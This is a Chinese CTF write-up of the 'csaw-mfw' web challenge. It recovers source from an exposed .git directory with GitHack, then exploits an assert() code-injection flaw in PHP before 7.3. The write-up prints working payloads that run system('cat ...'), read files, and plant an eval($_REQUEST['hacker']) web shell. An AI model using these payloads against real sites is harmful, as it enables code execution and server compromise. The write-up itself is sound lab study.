攻防世界-web-csaw-mfw
一.题目分析
这边提示使用了Git,试着访问.git看是否存在.git泄露
浏览了一下,很多都是乱码,想着用githack将git库克隆下看一下
二.操作
python2 GitHack.py http://url/.git
访问了一下flag.php,没啥发现,在看一下index.php
审计一下:
仅展示部分代码
第一思路使用文件包含(发现不行)
我在这边发现有一个require_once第一想法就是通过文件包含漏洞,所以去找这个$file参数。
$file会从前端的$page获取数据并在前面拼接template/ ,在后面还有对这个参数的过滤,
①如果参数含有..就会终止整个程序并且返回Detected hacking attempt
②如果$file传的文件路径要是不存在则会终止程序,返回That file doesn't exist
所以如果要通过文件包含去渗透就需要绕过这两个防护,这边最初想法在后面文件包含部分可能就需要eval(system('cat ./template/flag.php')),后面发现这边还没到require_once的时候就以及会执行cat ./template/flag.php了。这边是因为assert也会把内部的字符串当成php命令执行
第二思路通过assert()
php版本在7.3以下会存在assert()会执行字符串中的php代码
①测试
?page=%27).phpinfo();//
%27代表'
%27)闭合前面的strop函数 .作为字符串的分隔符号,最后会执行phpinfo()这边没闭合assert,但是内部的其他函数是完整合法所以不影响函数执行,但是这边闭合了assert反而无法执行了,这边自己也不知道。
成功显示了
②打开目标文件
').system('cat ./templates/flag.php');//
') or print_r(file_get_contents('templates/flag.php'));//
', '..') or eval($_REQUEST['hacker']); //
第三个句子,得用蚁剑去连接,但是我自己不爱用蚁剑所以就没有演示了
这道题目做完我也有点问题,希望有人给我解答一下,为什么通过git库下载下来的flag.php文件没法看到我们想要的flag,但是我们在进行渗透的时候也是去cat这个文件,为什么可以得到,还有就是为闭合assert()却反而没法渗透成功